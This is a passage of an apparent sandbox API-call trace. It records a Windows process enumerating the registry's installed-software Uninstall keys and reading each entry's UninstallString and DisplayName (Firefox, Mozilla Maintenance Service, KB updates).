returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)" [0047.183] LocalFree (hMem=0x721848) returned 0x0 [0047.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x3e) returned 0x0 [0047.183] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x73cc70 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed94*=0x3e | out: lpType=0x0, lpData=0x73cc70*=0x22, lpcbData=0xeed94*=0x3e) returned 0x0 [0047.183] RegCloseKey (hKey=0x380) returned 0x0 [0047.183] IStream:Commit (This=0x747360, grfCommitFlags=0x73cc70) returned 0x0 [0047.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x73cc70 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x21) returned 0x0 [0047.183] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x716ef8 [0047.183] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0x21 | out: lpType=0x0, lpData=0x716ef8*=0x4d, lpcbData=0xeed90*=0x21) returned 0x0 [0047.183] RegCloseKey (hKey=0x380) returned 0x0 [0047.183] lstrlenA (lpString="Mozilla Firefox 25.0 (x86 en-US)") returned 32 [0047.183] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.183] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.183] LocalFree (hMem=0x716ef8) returned 0x0 [0047.184] LocalFree (hMem=0x73cc70) returned 0x0 [0047.184] LocalFree (hMem=0x745b68) returned 0x0 [0047.184] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xc, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MozillaMaintenanceService", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.184] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.184] lstrlenA (lpString="\\") returned 1 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x73cc70 [0047.184] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.184] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.184] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.184] lstrlenA (lpString="MozillaMaintenanceService") returned 25 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x711b80 [0047.184] lstrcpyA (in: lpString1=0x711b80, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.184] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="MozillaMaintenanceService" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService" [0047.184] LocalFree (hMem=0x73cc70) returned 0x0 [0047.184] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.184] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x43) returned 0x0 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x745b68 [0047.184] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x745b68, lpcbData=0xeed94*=0x43 | out: lpType=0x0, lpData=0x745b68*=0x22, lpcbData=0xeed94*=0x43) returned 0x0 [0047.184] RegCloseKey (hKey=0x380) returned 0x0 [0047.184] IStream:Commit (This=0x747360, grfCommitFlags=0x745b68) returned 0x0 [0047.184] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.184] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x745b68 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x1c) returned 0x0 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x716ef8 [0047.184] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0x1c | out: lpType=0x0, lpData=0x716ef8*=0x4d, lpcbData=0xeed90*=0x1c) returned 0x0 [0047.184] RegCloseKey (hKey=0x380) returned 0x0 [0047.184] lstrlenA (lpString="MozillaMaintenanceService") returned 25 [0047.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.184] LocalFree (hMem=0x716ef8) returned 0x0 [0047.184] LocalFree (hMem=0x745b68) returned 0x0 [0047.184] LocalFree (hMem=0x711b80) returned 0x0 [0047.184] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xd, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="SchedulingAgent", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.184] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.184] lstrlenA (lpString="\\") returned 1 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.184] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.184] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.184] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.184] lstrlenA (lpString="SchedulingAgent") returned 15 [0047.184] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x745b68 [0047.184] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.185] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="SchedulingAgent" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent" [0047.185] LocalFree (hMem=0x721848) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.185] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.185] RegCloseKey (hKey=0x380) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.185] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.185] RegCloseKey (hKey=0x380) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\SchedulingAgent", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.185] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.185] RegCloseKey (hKey=0x380) returned 0x0 [0047.185] LocalFree (hMem=0x745b68) returned 0x0 [0047.185] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xe, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="WIC", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.185] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.185] lstrlenA (lpString="\\") returned 1 [0047.185] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.185] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.185] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.185] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.185] lstrlenA (lpString="WIC") returned 3 [0047.185] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x73cc70 [0047.185] lstrcpyA (in: lpString1=0x73cc70, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.185] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="WIC" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC" [0047.185] LocalFree (hMem=0x721848) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.185] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.185] RegCloseKey (hKey=0x380) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.185] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.185] RegCloseKey (hKey=0x380) returned 0x0 [0047.185] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WIC", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x380) returned 0x0 [0047.186] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed38, lpData=0x0, lpcbData=0xeed3c*=0xeed24 | out: lpType=0xeed38*=0x0, lpData=0x0, lpcbData=0xeed3c*=0x0) returned 0x2 [0047.186] RegCloseKey (hKey=0x380) returned 0x0 [0047.186] LocalFree (hMem=0x73cc70) returned 0x0 [0047.186] RegEnumKeyExA (in: hKey=0x258, dwIndex=0xf, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.186] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.186] lstrlenA (lpString="\\") returned 1 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.186] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.186] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.186] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.186] lstrlenA (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.186] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.186] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}" [0047.186] LocalFree (hMem=0x721848) returned 0x0 [0047.186] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.186] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.186] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.186] RegCloseKey (hKey=0x380) returned 0x0 [0047.186] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.186] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.186] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3b) returned 0x0 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x73cc70 [0047.186] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x73cc70, lpcbData=0xeed90*=0x3b | out: lpType=0x0, lpData=0x73cc70*=0x4d, lpcbData=0xeed90*=0x3b) returned 0x0 [0047.186] RegCloseKey (hKey=0x380) returned 0x0 [0047.186] lstrlenA (lpString="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}") returned 38 [0047.186] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.186] IStream:Commit (This=0x7473d8, grfCommitFlags=0x73cc70) returned 0x0 [0047.186] LocalFree (hMem=0x73cc70) returned 0x0 [0047.186] LocalFree (hMem=0x721848) returned 0x0 [0047.186] LocalFree (hMem=0x745b68) returned 0x0 [0047.186] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x10, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.186] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.186] lstrlenA (lpString="\\") returned 1 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.186] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.186] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.186] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.186] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 48 [0047.186] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.186] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.187] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757" [0047.187] LocalFree (hMem=0x721848) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.187] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.187] RegCloseKey (hKey=0x380) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.187] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.187] RegCloseKey (hKey=0x380) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.187] LocalFree (hMem=0x745b68) returned 0x0 [0047.187] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x11, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.187] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.187] lstrlenA (lpString="\\") returned 1 [0047.187] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.187] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.187] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.187] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.187] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 48 [0047.187] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.187] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.187] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173" [0047.187] LocalFree (hMem=0x721848) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.187] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.187] RegCloseKey (hKey=0x380) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.187] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.187] RegCloseKey (hKey=0x380) returned 0x0 [0047.187] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.187] LocalFree (hMem=0x745b68) returned 0x0 [0047.187] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x12, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.187] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.187] lstrlenA (lpString="\\") returned 1 [0047.188] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.188] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") 